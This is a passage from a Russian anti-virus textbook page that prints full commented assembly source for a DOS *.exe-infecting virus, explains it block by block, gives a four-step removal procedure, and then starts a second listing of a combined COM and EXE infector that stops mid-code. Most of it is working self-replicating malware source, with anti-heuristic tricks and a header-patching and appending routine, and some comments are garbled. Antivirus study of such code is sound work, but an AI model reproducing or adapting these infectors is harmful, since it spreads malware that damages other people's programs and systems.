Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

41

 

 

Рассмотрим листинг:

;----------------------------------------

 

 

.model tiny

 

 

;

Модель памяти

.code

 

 

;

Сегмент кода

org 100h

 

 

;

начинаем работу со 100h

id = 'NF'

 

 

;

метка, по которой определяется,

 

 

 

;

инфицирован ли файл

startvirus:

 

 

;

начало вирусного кода

 

call

next

;

пересчитаем смещение

next:

pop

bp

;

 

 

int 1h

;

антиэвристика

 

sub

bp,offset next

;

 

 

cmp sp,id

;

если файл не инфицирован, то

 

jne restore_done

;

и восстанавливать не надо.

restore_exe:

 

 

 

 

 

push

ds

 

 

 

push

es

 

 

 

push

cs

;

DS = CS

 

pop

ds

 

 

 

push

cs

;

ES = CS

 

pop

es

 

 

 

lea

si,[bp+jmpsave]

 

 

 

lea

di,[bp+jmpsave2]

 

 

 

movsw

 

 

 

movsw

 

 

 

movsw

 

 

 

movsw

 

 

restore_done:

 

 

 

 

mov

ah,1Ah

;

Установим новый DTA

 

lea

dx,[bp+newDTA]

;

DTA @ DS:DX

 

int

21h

 

 

SEARCH:

 

 

 

 

 

lea dx,[bp+EXE_MASK]

;

Установим в регистр dx маску *.exe

 

call FINDFIRST

;

Вызовем процедуру поиска

QUIT:

 

 

 

 

 

mov

ah,1ah

;

 

 

mov

dx,80h

;

Восстановим оригинальный DTA

 

cmp sp,ID-4

;

Åñëè *.exe ôàéë

 

jz QUIT_EXE

;

то выход из *.exe файла

QUIT_COM:

 

 

 

 

 

int

21h

;

Иначе выходим из *.com файла

 

retn

 

 

 

quit_exe:

 

 

 

 

 

pop

es

 

 

 

pop

ds

;

DS->PSP

 

int

21h

 

 

 

mov

ax,es

;

AX = PSP сегмент

 

add

ax,16

;

для восстановления PSP

 

add

word ptr cs:[bp+jmpsave2+2],ax

 

 

 

add

ax,word ptr cs:[bp+stacksave+2]

 

 

cli

 

; Запретим прерывания

42

DOS вирусы

 

 

mov

sp,word ptr cs:[bp+stacksave]

mov

ss,ax

sti

 

 

db 0eah

;

опкод команды jmp

jmpsave2

dd ?

;

оригинальный CS:IP

stacksave

dd ?

;

Оригинальный SS:SP

jmpsave

dd ?

; Необходим для файла-носителя

stacksave2

dd ?

 

 

creator

db '[sl0n]'

 

 

end_search:

 

 

 

retn

 

 

 

;---------------------------------------------

 

 

findfirst:

 

 

 

mov

ah,4eh

;

DOS функция Findfirst

xor

cx,cx

;

любой атрибут

findfirstnext:

 

 

 

int

21h

; DS:DX указывает на маску

jc

end_search

; если больше файлов нет, то на выход

 

 

; Открываем на чтение

call

open

 

 

mov

ah,3fh

; Прочитаем из файла в буфер

lea

dx,[bp+buffer]

; @ DS:DX

mov

cx,1Ah

; 26 áàéò

int

21h

 

 

mov

ah,3eh

; После чтения закрываем файл

int

21h

 

 

checkEXE:

 

 

 

cmp

word ptr [bp+buffer+10h],id

; Если файл не заражен, то заражаем его

jnz

infect_exe

 

 

find_next:

 

 

 

mov

ah,4fh

; Иначе ищем новую жертву

jmp

short findfirstnext

 

 

infect_exe:

 

 

 

les

ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа

mov

word ptr [bp+jmpsave], ax

 

 

mov

word ptr [bp+jmpsave+2], es

 

 

les

ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк

mov

word ptr [bp+stacksave2], es

 

 

mov

word ptr [bp+stacksave2+2], ax

 

 

mov ax, word ptr [bp+buffer + 8] mov cl, 4

shl ax, cl xchg ax, bx

;Возьмем размер exe заголовка

;переведем его в байты

les

ax, [bp+offset newDTA+26]

;

Положим

размер файла

mov

dx, es

;

â DX:AX

 

push

ax

 

 

 

push

dx

 

 

 

DOS вирусы

 

43

 

 

 

sub

ax, bx

; Отнимем размер заголовка от

sbb

dx, 0

; размера файла

mov

cx, 10h

; Переведем в форму

div

cx

; сегмент:смещение

mov

word ptr [bp+buffer+14h], dx

; Новая точка входа

mov

word ptr [bp+buffer+16h], ax

 

mov

word ptr [bp+buffer+0Eh], ax

; È ñòýê

mov

word ptr [bp+buffer+10h], id

 

pop

dx

; Возьмем длину файла

pop

ax

 

add

ax, heap-startvirus

; И длину вирусного тела

adc

dx, 0

 

mov

cl, 9

; 2**9 = 512

push

ax

 

shr

ax, cl

 

ror

dx, cl

 

stc

 

 

adc

dx, ax

; Размер файла в страницах

pop

ax

 

and

ah, 1

; 512 байтных

mov

word ptr [bp+buffer+4], dx

; Новый размер файла

mov

word ptr [bp+buffer+2], ax

 

push

cs

; Восстановим ES

pop

es

 

mov

cx, 1ah

 

finishinfection:

 

 

push

cx

; сохраним в стэке 1ah

call

open

 

mov

ah,40h

; DOS функция записи в файл

int 1h

; Антиэвристика

lea

dx,[bp+buffer]

; Пишем из буфера

pop

cx

; cx áàéò (1Ah)

int

21h

 

mov

ax,4202h

; Переставим указатель

xor

cx,cx

; в конец файла

cwd

 

; xor dx,dx

int

21h

 

mov

ah,40h

; Допишем тело вируса

int 1h

; Антиэвристика

lea

dx,[bp+startvirus]

 

mov

cx,heap-startvirus

; кол-во байт для записи (длина вируса)

int

21h

 

mov

ah,3eh

; Закроем файл

int

21h

 

mo_infections:

jmp find_next

44

 

 

DOS вирусы

 

 

 

 

open:

 

 

 

 

mov

ax,3d02h

 

 

lea

dx,[bp+newDTA+30]

; Имя файла в DTA

 

int

21h

 

 

xchg

ax,bx

 

 

ret

 

 

exe_mask

 

db '*.exe',0

 

heap:

 

 

; Временные переменные

newDTA

 

db 42 dup (?)

; Временный DTA

buffer

 

db 1ah dup (?)

; Буфер для чтения

endheap:

 

 

; Конец вируса

end

startvirus

 

;---------------------------------------

 

 

 

Рассмотрим данный вирус более подробно.

Первый блок:

 

;-----------------------------------------

 

 

 

startvirus:

 

; начало вирусного кода

 

call

next

; пересчитаем смещение

next:

pop

bp

;

 

int 1h

; антиэвристика

 

sub

bp,offset next

;

 

cmp sp,id

; если файл не инфицирован, то

 

jne restore_done

; и восстанавливать не надо.

restore_exe:

 

 

 

push

ds

 

 

push

es

 

 

push

cs

; DS = CS

 

pop

ds

 

 

push

cs

; ES = CS

 

pop

es

 

 

lea

si,[bp+jmpsave]

 

 

lea

di,[bp+jmpsave2]

 

 

movsw

 

 

 

movsw

 

 

 

movsw

 

 

 

movsw

 

 

;--------------------------------------

 

 

 

В начале этого блока мы получаем дельта-смещение, а потом, если мы были запущены из инфицированного файла, восстанавливаем заголовок.

Второй блок:

;---------------------------------------

 

 

restore_done:

 

 

mov

ah,1Ah

; Установим новый DTA

lea

dx,[bp+newDTA]

; DTA @ DS:DX

int

21h

 

SEARCH:

 

 

lea dx,[bp+EXE_MASK]

; Установим в регистр dx маску *.exe

call FINDFIRST

; Вызовем процедуру поиска

DOS вирусы

 

 

45

 

 

 

 

QUIT:

 

 

 

mov ah,1ah

;

 

mov dx,80h

;

Восстановим оригинальный DTA

cmp sp,ID-4

;

Åñëè *.exe ôàéë

jz QUIT_EXE

;

то выход из *.exe файла

QUIT_COM:

 

 

 

int 21h

; Иначе выхоим из *.com файла

retn

 

 

 

quit_exe:

 

 

 

pop

es

 

 

pop

ds

;

DS->PSP

int

21h

 

 

mov

ax,es

;

AX = PSP сегмент

add

ax,16

; для восстановления PSP

add

word ptr cs:[bp+jmpsave2+2],ax

 

 

add

ax,word ptr cs:[bp+stacksave+2]

 

cli

 

;

Запретим прерывания

mov

sp,word ptr cs:[bp+stacksave]

 

 

mov

ss,ax

 

 

sti

 

 

 

db

0eah

;

Опкод команды jmp

jmpsave2

dd ?

;

Оригинальный CS:IP

stacksave

dd ?

;

Оригинальный SS:SP

jmpsave

dd ?

;

Необходим для файла-носителя

stacksave2

dd ?

 

 

creator

db '[sl0n]'

 

 

end_search:

 

 

 

retn

 

 

 

;------------------------------------------

 

 

 

Вначале устанавливается новый DTA, потом идет поиск файла и его инфицирование. После инфицирования восстанавливается DTA, PSP и передается управление оригинальной программе.

Перейдем к третьему блоку:

;---------------------------------------

 

findfirst:

 

 

mov

ah,4eh

; DOS функция Findfirst

xor

cx,cx

; любой атрибут

findfirstnext:

 

 

int

21h

; DS:DX указывает на маску

jc

end_search

; если больше файлов нет, то на выход

 

 

; Открываем на чтение

call

open

 

mov

ah,3fh

; Прочитаем из файла в буфер

lea

dx,[bp+buffer]

; @ DS:DX

mov

cx,1Ah

; 26 áàéò

int

21h

 

mov

ah,3eh

; После чтения закрываем файл

46

DOS вирусы

 

 

int

21h

checkEXE:

 

cmp

word ptr [bp+buffer+10h],id ; Если файл не заражен, то заражаем его

jnz

infect_exe

;---------------------------------------------

 

В данном блоке ищется файл, открывается и из него читается 26 байт. Файл закрывается, и затем файл проверяется на инфицированность, и если он не инфицирован, то идет переход на метку infect_exe.

Перейдем к четвертому блоку:

;----------------------------------------------

 

 

find_next:

 

 

mov

ah,4fh

; Иначе ищем новую жертву

jmp

short findfirstnext

 

infect_exe:

 

 

les

ax, dword ptr [bp+buffer+14h] ; Сохраним старую точку входа

mov

word ptr [bp+jmpsave], ax

 

mov

word ptr [bp+jmpsave+2], es

 

les

ax, dword ptr [bp+buffer+0Eh] ; Сохраним старый стэк

mov

word ptr [bp+stacksave2], es

 

mov

word ptr [bp+stacksave2+2], ax

 

mov ax, word ptr [bp+buffer + 8] mov cl, 4

shl ax, cl xchg ax, bx

;Возьмем размер exe заголовка

;переведем его в байты

les

ax, [bp+offset newDTA+26]

; Положим размер файла

mov

dx, es

; â DX:AX

push

ax

 

push

dx

 

sub

ax, bx

; Отнимем размер заголовка от

sbb

dx, 0

; размера файла

mov

cx, 10h

; Переведем в форму

div

cx

; сегмент:смещение

mov

word ptr [bp+buffer+14h], dx

; Новая точка входа

mov

word ptr [bp+buffer+16h], ax

 

mov

word ptr [bp+buffer+0Eh], ax

; È ñòýê

mov

word ptr [bp+buffer+10h], id

 

pop

dx

; Возьмем длину файла

pop

ax

 

add

ax, heap-startvirus

; И длину вирусного тела

adc

dx, 0

 

mov

cl, 9

; 2**9 = 512

push

ax

 

shr

ax, cl

 

ror

dx, cl

 

stc

 

 

adc

dx, ax

; Размер файла в страницах

DOS вирусы

 

47

 

 

 

pop

ax

 

and

ah, 1

; 512 байтных

mov

word ptr [bp+buffer+4], dx

; Новый размер файла

mov

word ptr [bp+buffer+2], ax

 

push

cs

; Восстановим ES

pop

es

 

mov

cx, 1ah

 

;-------------------------------------------

 

 

В данном блоке пересчитывается новая точка входа и записывается в ту же переменную. Основное в данном блоке — это арифметические операции.

Последний блок:

;------------------------------------------

finishinfection:

push

cx

; сохраним в стэке 1ah

call

open

 

mov

ah,40h

; DOS функция записи в файл

int 1h

; Антиэвристика

lea

dx,[bp+buffer]

; Пишем из буфера

pop

cx

; cx áàéò (1Ah)

int

21h

 

mov

ax,4202h

; Переставим указатель

xor

cx,cx

; в конец файла

cwd

 

; xor dx,dx

int

21h

 

mov

ah,40h

; Допишем тело вируса

int 1h

; Антиэвристика

lea

dx,[bp+startvirus]

 

mov

cx,heap-startvirus

; кол-во байт для записи (длина вируса)

int

21h

 

mov

ah,3eh

; Закроем файл

int

21h

 

mo_infections:

 

 

jmp find_next

 

open:

 

 

mov

ax,3d02h

 

lea

dx,[bp+newDTA+30]

; Имя файла в DTA

int

21h

 

xchg

ax,bx

 

ret

 

 

;-------------------------------------------

 

 

В этом последнем блоке вначале переписывается заголовок *.exe файла из переменной buffer, а потом к концу программы дописывается основное тело вируса, и после этого файл закрывается. Для уменьшения размера и упрощения открытия файлов используется процедура open.

48

DOS вирусы

 

 

Лечение данного вируса производится по следующему алгоритму:

1)обнаружить инфицированный файл;

2)определить место, где находятся оригинальные байты из *.exe заголовка;

3)восстановить оригинальные байты;

4)удалить хвост вируса.

Вcе вирусы, которые были приведены до этого, разработчики антивирусного обеспечения именуют как «студенческие», что в их понимании означает простейшие.

3.3. Простейшие *.COM + *.EXE вирусы

Дальше после простейших *.com и *.exe паразитов на эволюционной лестнице компьютерных вирусов стоят комбо-вирусы, т. е. вирусы, заражающие как *.com так и *.exe. Эти вирусы базируются на описанных выше методах инфицирования *.com и *.exe программ. Другими словами, это два предыдущих вируса, объединенные в один.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

В данном случае мы не можем точно сказать, настоящий это JMP или всего лишь передача управления. Это все зависит от формата зараженной программы.

Рассмотрим листинг:

;----------------------------------------------

 

 

ID

= 'FN'

; Метка заражения

 

.model tiny

; Модель памяти

 

.code

;

 

org 100h

;

MAIN:

db 0e9h,00h,00h

; Jmp START_VIRUS

START

proc near

 

START_VIRUS:

 

 

 

call FIND_OFFSET

;

FIND_OFFSET:

pop bp

; в BP находится текущий IP

 

int 1h

; Антиэвристика

 

sub bp, offset FIND_OFFSET

; Считаем дельта-смещение

DOS вирусы

49

 

 

; для адресации данных

;

;Смотрим, из какой программы мы запустились, и на ID при

;при заражении *.EXE хранится в SP (stack pointer) указатель на стэк

 

cmp sp,ID

; COM èëè EXE?

 

je RESTORE_EXE

; ß *.EXE

; Восстанавливаем

первые байты *.COM файла

 

RESTORE_COM:

lea si,[bp+COM_START]

; Восстанавливаем 3 байта

 

mov di,100h

; оригинальные

 

push di

; 3 байта

 

movsw

;

 

movsb

 

 

jmp short RESTORE_DONE

 

; Восстанавливаем оригинальный заголовок *.EXE файла

RESTORE_EXE:

push ds

; Сохраняем DS

 

push es

; Сохраняем ES

 

push cs

; Устанавливаем DS = CS

 

pop ds

 

 

push cs

; Устанавливаем ES = CS

 

pop es

 

 

lea si,[bp+JMPSAVE]

; Сохраняем CS:IP и

 

lea di,[bp+JMPSAVE2]

; SS:SP

 

movsw

;

 

movsw

 

 

movsw

 

 

movsw

 

RESTORE_DONE:

lea dx,[bp+DTA]

; Указатель на новый DTA

 

mov ah,1ah

;

 

int 21h

; Устанавливаем новый DTA

; Ищем файлы для инфицирования

 

SEARCH:

lea dx,[bp+EXE_MASK]

; Ищем по маске *.EXE

 

call FINDFIRST

;

 

lea dx,[bp+COM_MASK]

; Ищем по маске *.COM

 

call FINDFIRST

;

; Возвращаем управление оригинальной программе

 

QUIT:

 

 

 

push ds

; Сохраняем DS

 

pop ds

; Восстанавливаем DS

 

mov ah,1ah

;

 

mov dx,80h

; Восстанавливаем оригинальный DTA

 

cmp sp,ID-4

; EXE или COM? ES,DS в стэке

 

jz QUIT_EXE

; Передаем управление *.EXE

QUIT_COM:

int 21h

;

 

retn

; Передаем управление *.COM файлу

QUIT_EXE:

pop es

; Восстанавливаем ES

 

pop ds

; Восстанавливаем DS

 

int 21h

;

50

 

 

 

 

DOS вирусы

 

 

 

 

 

 

mov

ax,es

;

AX = началу PSP сегмента

 

add

ax,16

; Добавим размер PSP, чтобы получить CS

 

add

word ptr cs:[bp+JMPSAVE2+2],ax ; Восстанавливаем IP

 

add

ax,word ptr cs:[bp+STACKSAVE2+2] ; Вычисляем SS

 

cli

 

; Выключаем прерывания

 

mov

sp,word ptr cs:[bp+STACKSAVE2] ; Восстанавливаем SP

 

mov

ss,ax

;

Восстанавливаем SS

 

sti

 

;

Включаем прерывания

 

db 0eah

;

jmp SSSS:OOOO

JMPSAVE2

dd ?

 

;

CS:IP

 

STACKSAVE2

dd ?

 

;

SS:SP

 

JMPSAVE

dd ?

 

;

EXE CS:IP

 

STACKSAVE

dd ?

 

; EXE SS:SP

 

msg

db '[c0mb0 chUmA by sl0n]',0ah,0dh,'$'

; Сообщение

;---------------------------------------------

 

 

 

; DOS Findfirst /

Findnext функции

 

 

 

FINDFIRST:

mov

ah,4eh

;

DOS find first функция

 

xor

cx,cx

;

Искать файлы с любыми атрибутами

FINDNEXT:

int

21h

;

 

 

 

jc END_SEARCH

; Если файлов больше нет или

 

 

 

;

ошибки, то идем на выход

; Открываем файл

 

 

 

 

 

 

call OPEN

; Открываем файл

; Читаем заголовок файла (24 байта)

 

 

 

 

mov

ah,3fh

;

DOS функция чтение из файла

 

lea

dx,[bp+BUFFER]

;

читаем в BUFFER

 

mov

cx,24

;

24 байта

 

 

int

1h

; Антиэвристика

 

int

21h

;

 

 

 

mov

ah,3eh

;

DOS функция закрытия файла

 

int

21h

;

 

 

; Проверяем файл *.EXE или нет

 

 

 

CHECK_EXE:

cmp

word ptr [bp+BUFFER],'ZM'

;

 

 

 

jne

CHECK_COM

; Если файл не *.EXE то на проверку *.COM

 

cmp

word ptr [bp+BUFFER+16],ID; ОН заражен

 

 

je ANOTHER

; Да, ищем следующий

 

jmp

short INFECT_EXE

; Нет ? Ну тогда заразим его!

; Проверяем *.COM это

случаем не COMMAND.COM

 

 

 

CHECK_COM:

cmp

word ptr [bp+DTA+35],'DN'

;

 

 

 

jz ANOTHER

; Да, ищем другой

; Проверим заражен *.COM файл

 

 

 

;

 

 

 

 

 

 

mov

ax,word ptr [bp+DTA+26]

; Кладем размер в ax

 

cmp

ax,(65535-(ENDHEAP-START_VIRUS)); Если слишком большой.

 

jle

ANOTHER

; Ищем новый

 

 

mov

cx,word ptr [bp+BUFFER+1]

; Кладем смещение в cx

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]